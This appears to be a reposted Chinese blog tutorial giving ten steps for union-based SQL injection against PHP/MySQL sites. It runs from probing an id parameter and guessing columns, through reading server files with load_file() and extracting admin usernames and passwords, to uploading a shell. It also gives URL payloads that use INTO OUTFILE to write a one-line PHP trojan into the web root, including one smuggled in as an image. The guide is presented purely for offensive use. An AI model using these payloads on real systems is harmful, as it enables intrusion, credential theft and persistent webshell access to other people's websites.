php注入十点基本步骤

it2022-05-07  8

1.判断是否存在注入,加';and 1=1;and 1=2 2.判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,可以用union查询 3.利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10 4.再利用union来查询准确字段,如: and 1=2 union select 1,2,3,......./*直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。 5.判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0 /*如果结果返回错误,那我们只能猜解管理员帐号和密码了。 6. 如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 /* 注:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。 7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6.... from user /* 如果返回正常,说明存在这个表。 8.知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user/*如果在2字段显示出字段内容则存在些字段。 9.同理再猜解password字段,猜解成功再找后台登录。 10.登录后台,上传shell。

=============================================

1:system_user() 系统用户名 2:user()        用户名 3:current_user()  当前用户名 4:session_user()连接数据库的用户名 5:database()    数据库名 6:version()     MYSQL数据库版本 7:load_file()   MYSQL读取本地文件的函数 8:@@datadir     读取数据库路径 9:@@basedir    MYSQL 安装路径 10:@@version_compile_os   操作系统

===============================================

※into outfile的高级应用

要使用into outfile将一句话代码写到web目录取得WEBSHELL  需要满足3大先天条件 1.知道物理路径(into outfile '物理路径') 这样才能写对目录

2.能够使用union (也就是说需要MYSQL3以上的版本)

3.对方没有对’进行过滤(因为outfile 后面的 '' 不可以用其他函数代替转换)

4就是MYSQL 用户拥有file_priv权限(不然就不能写文件 或者把文件内容读出)

5.windows系统下一般都有读写权限,LINUX/UNIX下一般都是rwxr-xr-x 也就是说组跟其他用户都没有权限写入操作。

但环境满足以上条件那么我们可以写一句话代码进去。 例如: http://www.123.com/123.php?id=123 union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

还有一个办法是假如网站可以上传图片,可以将木马改成图片的格式上传,找出图片的绝对路径在通过into outfile导出为PHP文件。

代码: http://www.123.com/123.php?id=123 union select 1,2,3,load_file(d:\web\logo123.jpg),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

d:\web\90team.php 是网站绝对路径。

转载于:https://www.cnblogs.com/amwld/archive/2011/06/01/2065524.html

相关资源:JAVA上百实例源码以及开源项目源代码

最新回复(0)